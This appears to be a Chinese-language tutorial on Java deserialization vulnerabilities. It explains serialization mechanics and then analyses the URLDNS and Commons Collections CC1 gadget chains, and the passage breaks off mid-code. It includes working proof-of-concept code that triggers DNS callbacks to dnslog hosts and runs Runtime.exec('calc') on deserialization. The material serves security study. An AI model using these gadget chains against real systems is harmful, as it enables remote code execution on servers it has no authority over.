首先特别感谢 FreeBuf 这个平台, 本来这篇文章是误删了的, 在《编辑》文章部分一键找回了,23333。
前言
如同标题一样, 本篇文章会介绍反序列化漏洞的基本原理,以及分析三种反序列化链路:URLDNS, CC, CB.
其中CC链附上一条笔者挖的链路, 有兴趣可以看一下, 当然没兴趣就算了. (PS: 有CC1~7的知识点就够了)
前置知识也就是笔者之前发表的《JAVA安全 | Classloader:理解与利用一篇就够了》, 建议理解 ClassLoader 之后再来学习反序列化。
文章字数3w+, 目录如下:
基本概念
其中序列化, 反序列化
这两者的概念, 我们可以通过一张图进行解释:
序列化则是将 Java 中的对象将其变为一串二进制数据, 可以存储在数据库,文件,内存中.
而反序列化则是将这些二进制数据,重新还原成 Java 对象的一个过程.
序列化 | 反序列化是发生在"对象"身上的, 故我们无法序列化 static 类型的属性, 因为 static 属性是绑定在类上的.
序列化 | 反序列化 测试
那么我们在 Java 中如何使用序列化 | 反序列化
呢?
-
编写一个类, 实现 Serializable
接口 -
在该类中添加 private static final long SerialVersionUID
属性.
笔者在这里准备一个用于测试序列化|反序列化
的Java环境
:
pom.xml
:
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.30</version>
</dependency>
</dependencies>
随后准备一个JavaBean
:
package com.heihu577.bean;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
import java.io.Serializable;
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String name;
private int age;
}
编写测试类:
public class T1 {
@Test
public void writeObj() throws Exception {
Person heihu577 = new Person(1, "heihu577", 12);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./heihu577.dat")));
oos.writeUTF("HELLO WORLD"); // 写入字符串 HELLO WORLD
oos.writeObject(heihu577); // 写入 heihu577 对象
}
@Test
public void readObj() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
Person person = (Person) ois.readObject(); // 读取 hihu577 对象
System.out.println("Msg: " + msg + ", Person: " + person); // Msg: HELLO WORLD, Person: Person(id=1, name=heihu577, age=12)
}
}
其中writeObj
可以写入字符串与对象, 其中生成二进制文件的格式遵循Java规范, 具体可以参考官方文档: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
那么上述运行结果如下:
Serializable 接口
我们可以观察一下Serializable
接口中的注释信息:
当我们在Person
类中定义了这些方法时, 例如:
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private int id;
private String name;
private int age;
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
System.out.println("反序列化中...");
}
private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
System.out.println("序列化中...");
}
}
那么当我们调用ObjectOutputStream::writeObject
方法时, 也会调用Person::writeObject
方法.
当我们调用ObjectInputStream::readObject
方法时, 也会调用Person::readObject
方法. 这里过程就不演示了.
具体原因可以查看 readObject 源码分析: https://blog.csdn.net/lpcInJava/article/details/134776113
https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yub4jE8YGCRzmeD
程序员定义 readObject & writeObject 原因
那么程序员在什么时候会定义readObject
并编写程序员的代码段呢?我们使用下面的案例来解释:
public class Main2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setId(1);
person.setUsername("Zs");
serialize(person); // 序列化时 id=1, username=Zs. 但经过自定义 writeObject 处理后值为 id=2, username=Zs ~~~
Person person01 = unserialize();
System.out.println(person01); // 反序列化时, 直接调用 readObject 方法, 对其进行赋值操作.
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String username;
// 提供 getter && setter && toString 方法
private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
out.writeInt(id + 1);
out.writeUTF(username + " ~~~ "); // 自定义序列化规则
System.out.println("我进来了, 我是序列化");
}
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
System.out.println("我进来了, 我是反序列化.");
this.id = in.readInt(); // 自定义反序列化赋值规则
this.username = in.readUTF();
}
}
我们可以看到的是, 自定义writeObject & readObject
接口方法可以自定义序列化与反序列化的规则. 当然了, 如果我们定义一个空的readObject
方法会怎么样, 我们不妨一试:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person); // 序列化时, 是带着属性值序列化的
Person person01 = unserialize();
System.out.println(person01); // 而因为自定义了 readObject 方法, 所以这里的结果是 Person(name=null, age=null), 没有任何属性
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private String name;
private Integer age;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {}
}
可以看到这里由于定义了自定义readObject
方法, 所以这里反序列化时, 无法成功从二进制文件中读取到name & age
属性的值.
如果我们将该readObject定义成这样, 将可以从二进制文件中得到name & age
的值, 并可以成功赋值:
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // readObject 方法的第一行调用默认的处理机制
}
transient 阻止指定字段序列化
当一个成员属性使用transient
修饰时, 那么该成员属性是不允许序列化的, 测试如下:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person);
Person person01 = unserialize();
System.out.println(person01); // Person(name=null, age=12)
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private transient String name; // 定义 name 不允许序列化
private Integer age;
}
而如果想要transient
修饰的字段也参与序列化, 那么也需要重写writeObject & readObject
方法, 在里面进行定义序列化|反序列化
的规则:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person("heihu577", 12);
serialize(person);
Person person01 = unserialize();
System.out.println(person01); // Person(name=我是自定义的写入规则~heihu577, age=12)
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
@NoArgsConstructor
@AllArgsConstructor
class Person implements Serializable {
private transient String name;
private Integer age;
private void writeObject(java.io.ObjectOutputStream out) throws IOException {
out.defaultWriteObject(); // 调用默认的写入是为了写入 age 成员属性
out.writeUTF("我是自定义的写入规则~" + this.name); // 写入 name
}
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 调用默认的读取是为了读取 age 成员属性
this.name = in.readUTF(); // 读取 name
}
}
可以看到的是, 虽然name字段被transient
修饰了, 但是我们依然可以通过自定义writeObject & readObject
进行操作name.
当然, 被 static 修饰的字段也不会被序列化, 因为 static 是基于类的, 这一点毋庸置疑.
serialVersionUID 有什么用
那么为什么必须要定义serialVersionUID
也是有讲究的, 我们定义如下代码进行测试:
可以看到, 似乎serialVersionUID
对我们序列化 & 反序列化
并无影响, 但是此时我们试图对Person
增加一个成员方法, 然后再进行反序列化测试:
可以看到的是, 如果一个类没有定义serialVersionUID
, 那么Java会默认通过当前类结构
给该类生成一个serialVersionUID
, 随后在你writeObject
时写入到你的二进制文件中.
当进行反序列化时, 仍然没有定义serialVersionUID
成员属性时, Java会通过当前类结构重新计算serialVersionUID
, 对你的二进制文件中的serialVersionUID
进行比对, 若一致, 那么可以成功反序列化, 若不一致, 那么将不允许反序列化.
那么当我们加上serialVersionUID
, 与其我们二进制文件中的serialVersionUID
一致, 看一下是否可以反序列化成功:
所以一般程序员在实现了Serializable
接口时, 会顺手定义serialVersionUID
, 以免在版本更新等因素修改了类的结构, 从而导致更新前的序列化文件失效.
ObjectInputStream::resolveClass 加载类
我们知道的是,ObjectInputStream::readObject
方法可以通过读取序列化二进制文件, 从而将序列化中的对象反序列化回来, 既然加载的是对象, 那它肯定需要在加载对象之前加载该对象所指明的类, 而加载类的过程被放入在了ObjectInputStream::resolveClass
中, 我们可以看一下该方法是如何定义的:
而当我们继承ObjectInputStream
, 重写resolveClass
方法, 就可以自定义类加载规则.
那么我们定义如下DEMO进行看一下:
public class Demo {
public static void main(String[] args) throws Exception {
DemoClass demoObj = new DemoClass();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 将序列化的值放入到内存中
new ObjectOutputStream(byteArrayOutputStream).writeObject(demoObj); // 序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
new MyObjectInputStream(byteArrayInputStream).readObject(); // 读取对象, 会调用到 MyObjectInputStream::resolveClass
}
}
class MyObjectInputStream extends ObjectInputStream {
public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
System.out.println("要加载的类名: " + desc.getName());
return super.resolveClass(desc);
}
}
class DemoClass implements Serializable {
String name = "heihu577";
}
最终运行结果:
要加载的类名: com.heihu577.DemoClass
只要稍微修改一下MyObjectInputStream::resolveClass
的加载逻辑, 就可以自定义加载类.
Externalizable 接口
Externalizable
与Serializable
接口还是有区别的, 我们知道的是,Serializable
接口有默认的序列化|反序列化
处理机制, 而Externalizable
是没有的, 我们可以看一下这两个接口的区别:
public interface Serializable {}
public interface Externalizable extends java.io.Serializable {
void writeExternal(ObjectOutput out) throws IOException;
void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}
我们可以看到的是,Externalizable
必须实现writeExternal & readExternal
方法. 而Serializable
接口中readObject & writeObject
的定义是程序员自定义的.
这也就意味着实现Externalizable
接口程序员必须在writeExternal & readExternal
中指明其序列化 | 反序列化
规则, 这一切都由程序员定义, 因为没有了默认处理规则, 自然Externalizable
也不需要使用serialVersionUID
进行思考兼容性问题.
无参构造
定义如下代码:
public class MyTester {
public static void main(String[] args) throws Exception {
Person person = new Person(); // 进入一次无参构造
person.setName("heihu577");
person.setAge(12);
serialize(person);
Person UnserPerson = unserialize(); // 进入一次无参构造
System.out.println(UnserPerson);
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Person unserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Person) ois.readObject();
}
}
@Data
class Person implements Externalizable {
private String name;
private Integer age;
public Person() { // 定义的该构造器访问修饰符必须为 public
System.out.println("进入无参构造...");
}
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(name);
out.writeObject(age);
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
name = (String) in.readObject();
age = (Integer) in.readObject();
}
}
可以看到的是, 实现了Externalizable
的类, 对象进行反序列化时会自动进入一次构造方法.
Externalizable和Serializable的区别
实现Serializable接口是默认序列化所有属性,如果有不需要序列化的属性使用transient修饰。Externalizable接口是Serializable的子类,实现这个接口需要重写writeExternal和readExternal方法,指定对象序列化的属性和从序列化文件中读取对象属性的行为。
实现Serializable接口的对象序列化文件进行反序列化不走构造方法,载入的是该类对象的一个持久化状态,再将这个状态赋值给该类的另一个变量。实现Externalizable接口的对象序列化文件进行反序列化先走构造方法得到控对象,然后调用readExternal方法读取序列化文件中的内容给对应的属性赋值。
好文推荐: https://blog.csdn.net/qq_43842093/article/details/127437652
反序列化漏洞入门
当我们的一个正常类中, 定义了readObject
方法时, 若方法体中的运行代码不安全, 则会造成反序列化漏洞, 如下:
@Data
@NoArgsConstructor
@AllArgsConstructor
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private int id;
private String name;
private int age;
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
Runtime.getRuntime().exec("calc"); // 弹出计算器
}
}
那么当我们执行如下代码就会弹出计算器:
@Test
public void readObj() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("./heihu577.dat")));
String msg = ois.readUTF(); // 读取 HELLO WORLD 字符串
Person person = (Person) ois.readObject(); // 读取 heihu577 对象
System.out.println("Msg: " + msg + ", Person: " + person);
}
所以这里如果我们如果想要挖掘出存在反序列化漏洞的类时, 是需要查看该类是否定义了不安全的readObject方法
, 或者该readObject
方法最终的走向是危险的, 例如:A::readObject -> B::某方法 -> C::危险方法
, 这样也可以达到一个反序列化漏洞的效果.
URLDNS
如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成.
HashMap
在Java
中存在Map
数据类型, 我们知道的是, Map 中存在许许多多的Entry
. 当然, 程序员为了能让Map
这个复杂的数据类型支持序列化|反序列化
, 自己重写了writeObject & readObject
方法, 因为Map
本来就是Java开发者定义的一种键值对的数据类型. 那么我们先看一下HashMap
的writeObject
流程. 我们准备如下代码进行研究:
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<String, String> map = new HashMap<>();
map.put("name", "heihu577");
serialize(map);
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Map) ois.readObject();
}
Map.put 方法做了什么
在研究之前, 我们先看一下大体上Map.put
方法做了一些什么操作, 因为这里面的一些成员属性参与到了后期的writeObject
操作中.
因为篇幅有限, 这里并不方便把整个HashMap
的原理放出来, 具体可以参考: https://zhuanlan.zhihu.com/p/705241238
在这里我们只需要知道table
这个属性存放的是我们实际的数据, 它是一个Node<Key, Value>
数组:
从上图可以看到, 当我们运行完Map.put
方法之后, 该数组中会增加一组键值对.
自定义 writeObject
那么接下来我们分析writeObject
方法, 看一下该方法到底做了什么.
到这里我们知道的是, 原来HashMap
中的Key & Value
也是参与了writeObject
操作的.
自定义 readObject
那么我们看一下readObject
做了什么事情:
这里我们需要注意的是hash
这个方法:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这个方法会调用Map中Key
的hashCode
方法. 那么这里可以作为一个切入点进行深度挖掘.
URL
在URL中定义了hashCode
方法, 而这个方法是可以发送DNSLOG请求的:
最终调用了getHostAddress
方法, 这个方法可以发送DNSLOG请求. 所以这是一个完整的链路.
问题是handler
是在哪里进行初始化操作了?实则是在构造器, readObject 方法中都有定义, 我们看一下这个初始化操作方法:
public URL(String protocol, String host, int port, String file,
URLStreamHandler handler) throws MalformedURLException {
// ... 其他代码
if (handler == null &&
(handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
throw new MalformedURLException("unknown protocol: " + protocol);
}
this.handler = handler;
}
private synchronized void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// ... 其他代码
if ((handler = getURLStreamHandler(protocol)) == null) { // 初始化操作
throw new IOException("unknown protocol: " + protocol);
}
}
所以我们无需担心handler
是否为空问题. 一旦URL::hashCode
方法被调用, 那么将直接发送一次网络请求. 而我们刚刚分析的HashMap
类的readObject
方法中, 是存在hashCode
的调用的, 所以这里我们将其调用URL::hashCode
就可以发送一次网络请求了.
发送DNSLOG测试
下面我们通过这段代码可以发送一次DNSLOG请求:
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL, String> hashMap = new HashMap<>();
hashMap.put(new URL("http://lg3swn.dnslog.cn/"), "heihu577");
}
最终DNSLOG收到结果:
但是我们并不希望在我们构造POC
时发送网络请求, 所以这里我们需要在构造POC时, 通过反射进行修改掉URL
这个类的hashCode
, 将其不等于-1即可, 如下:
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
/*
private int hashCode = -1; 这里默认是 -1, 我们需要将其修改为其他值
public synchronized int hashCode() {
if (hashCode != -1) 为了进入该判断, 直接返回 hashCode, 否则走到下面将发送网络请求
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
* */
hashMap.put(url, "heihu577");
这样我们在本地构造HashMap对象
时就不会发送网络请求了, 而由于反序列化时由于hashCode
已经被修改了, 所以这里反序列化时并不会发送DNSLOG请求. 我们看一下解决办法.
反序列化测试
首先我们生成POC
到本地磁盘:
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> hashMap = new HashMap<>();
URL url = new URL("http://mdj867.dnslog.cn/");
Field hashCode = url.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 0);
hashMap.put(url, "heihu577"); // put 进去时, hashCode 为 0, 在里面调用 hashCode 方法, 不会发送DNSLOG请求.
hashCode.set(url, -1); // put 完了, 再改回 -1, 以免我们序列化的 hashCode 被替换为 0. 下一次反序列化时就会发送 DNSLOG 请求.
serialize(hashMap); // 运行后 D:/heihu577.ser 将生成出来
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
随后我们直接进行反序列化:
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
unserialize(); // 调用直接发送 DNSLOG 请求.
}
public static Map unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
return (Map) ois.readObject();
}
最终会收到DNSLOG请求:
最终调用流程图:
Apache Commons Collections
前置环境准备
为了研究CC链
, 我们需要在这里准备一个低版本的JDK
用于学习, 笔者在这里使用的JDK版本
为jdk1.8.0_65
:
E:LanguageJavajdk1.8.0_65bin>java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)
除了准备低版本的JDK
之外, 由于rt.jar!/sun
下的包均为字节码文件, 所以我们需要去 https://hg.openjdk.org/ 去下载JDK
下的sun
源码文件, 否则当我们调试时会出现变量名随机等问题, 在我们看源代码时不方便. 如图:
本地SDK源码
下载: https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 (下载不了挂VPS下)
下载完毕之后, 按照如下操作:
操作完毕之后, 我们sun目录
下就可以看到.java
的源代码了:
随后在pom.xml
文件中进行引入含有漏洞版本的CC:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version> <!-- CC3 -->
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version> <!-- CC4 -->
</dependency>
<!-- 分析具体版本, 切换到具体版本 -->
</dependencies>
为了后续的方便, 在这里按住Ctrl+Alt+Shift+F7
, 进行设置我们的Alt+F7
查找的内容:
文章中, AAA 链路...俗称 BBB, AAA 指Commons Collections
具体版本号, BBB 指ysoserial
中的俗称.
CC3 链路 (版本1) jdk1.8.0_65 俗称 CC1
CC中存在一个org.apache.commons.collections.Transformer
接口, 该接口定义了方法:
public interface Transformer {
public Object transform(Object input);
}
定义了一个transform
方法, 按住Ctrl+h
查看谁实现了该接口:
InvokerTransformer::transform 危险方法
InvokerTransformer
这个类是可以序列化的, 并且重写了transform
方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.
以下代码是理解案例:
Person person = new Person();
InvokerTransformer invokerTransformer = new InvokerTransformer("sayHello",
new Class[]{String.class}, new Object[]{"Heihu577"}); // 调用 sayHello 方法, 参数类型为 String 参数值为 Heihu577
Object transform = invokerTransformer.transform(person); // Hello: Heihu577
/* Person 类如下:
public class Person { // 这里必须由 public 修饰, 否则将报错
public void sayHello(String name) {
System.out.println("Hello: " + name);
}
} */
那么通过这样我们可以调用一个计算器出来:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器
TransformedMap::checkSetValue 链式调用
我们需要查看谁调用了InvokerTransformer::transform
方法, 最终结果如下:
可以看到的是TransformedMap::checkSetValue
方法调用了InvokerTransformer::transform
方法, 此时我们可以把关注点放在TransformedMap::checkSetValue
上, 本地模拟调用一下该方法, 看一下是否可以成功弹出计算器.TransformedMap
构造器的定义为:
public class TransformedMap
extends AbstractInputCheckedMapDecorator // 注意这个类, 待会儿下面会有调用关系.
implements Serializable { // 可以被序列化
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
}
可以看到的是, 虽然该类的构造器是protected
, 但该类提供了一个static
方法, 可以使我们创建该类的实例, 但是由于checkSetValue
方法是protected
修饰的, 所以这里我们需要使用反射调用一下, 准备测试代码如下:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime); // 将 runtime 对象传递过去
运行将弹出计算器.
AbstractInputCheckedMapDecorator::setValue 链式调用 (抽象类)
可以看到AbstractInputCheckedMapDecorator
这个类调用了parent.checkSetValue
方法, 那么我们看一下AbstractInputCheckedMapDecorator
这个类:
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { // AbstractMapDecorator 实现了 Map.Entry, 是一个封装好的键值对类
protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}
public Set entrySet() {
if (isSetValueChecking()) { // true 为永真
return new EntrySet(map.entrySet(), this); // Map 数据类型迭代前都需要得到 EntrySet
} else {
return map.entrySet();
}
}
static class EntrySet extends AbstractSetDecorator { // AbstractSetDecorator 实现了 Set, Set extends Collection, Collection<E> extends Iterable<E>, 所以这里 EntrySet 是一个 Iterable, 必须实现 iterator 方法
private final AbstractInputCheckedMapDecorator parent;
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent); // 遍历时调用这里, collection 是父类定义的
}
}
static class EntrySetIterator extends AbstractIteratorDecorator { // AbstractIteratorDecorator 实现了 Iterator, 可自定义迭代规则.
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent); // 当迭代时, 会调用到这里
}
}
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value); // 迭代时可手动调用 checkSetValue 方法
return entry.setValue(value);
}
}
}
可以看到的是, 这个AbstractInputCheckedMapDecorator
类是一个抽象类, 并且提供了entrySet
方法, 也就是说, 这个类是Map
中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap
类. 该类其中的MapEntry
类继承了AbstractMapEntryDecorator
类, 而AbstractMapEntryDecorator
类实则上也是实现了Map.Entry
, 定义如下:
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {}
public interface Map<K,V> {
interface Entry<K,V> {
V setValue(V value);
// ... 其他
}
// ... 其他
}
所以我们可以通过遍历调用setValue
方法进行传递我们的Runtime对象
, 然后setValue
调用checkSetValue
,checkSetValue
调用transform
从而实现了攻击链路, 本地测试脚本如下:
Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
entry.setValue(runtime); // 循环调用 setValue
}
运行可以弹出计算器.
AnnotationInvocationHandler::readObject 入口方法
那么谁会调用setValue
方法呢?我们使用Alt+F7
进行查找:
最终在AnnotationInvocationHandler::readObject
中成功发现了调用setValue
方法的代码块, 而readObject
方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject
方法,AnnotationInvocationHandler::readObject
方法定义如下:
class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type; // 需要转入注解
this.memberValues = memberValues; // 传入 Map 类型
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type); // AnnotationType 类用于获取一个注解
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // 判断该注解的属性
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
AnnotationType.getInstance
方法用于获得一个注解, 下面的annotationType.memberTypes()
用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行, 这里我们可以选择使用@Retention
,Retention
注解定义如下:
public @interface Retention {
RetentionPolicy value(); // 只有一个 value
}
而根据如下代码段的逻辑:
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); // 得到我们外部传递 map 的 key, 这里最好传入 key 的值是 value
Class<?> memberType = memberTypes.get(name); // 因为 Retention 只有 value 属性, 所以这里我们只可以传入 key 的值是 value 的 map 才可以不为 null.
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.
}
}
}
我们可以看到, 这个代码块对memberValues
进行遍历, 并进行setValue
操作, 而memberValues
又是在构造器中是可控的. 由于这个类不是public, 所以我们需要使用反射解决:
public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); // 这里 runtime 并没有传入
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // 使用 value, 硬性规定
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(invocationHandler);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}
但代码运行后会抛出异常:
原因则是AnnotationInvocationHandler::readObject
方法中的memberValue.setValue(new XXX)
中调用的值并不可控! 此时应该怎么办呢.
ConstantTransformer::transform 返回任意值
此时我们不妨重新找一下其他的实现了Transformer
接口的其他可利用的transform
方法.
发现ConstantTransformer
类, 这个类定义的transform
方法不管传入什么内容, 都会返回自定义任意值的一个方法. 这个方法挺有意思, 我们可以做一下测试:
public class Main {
public static void main(String[] args) throws Exception {
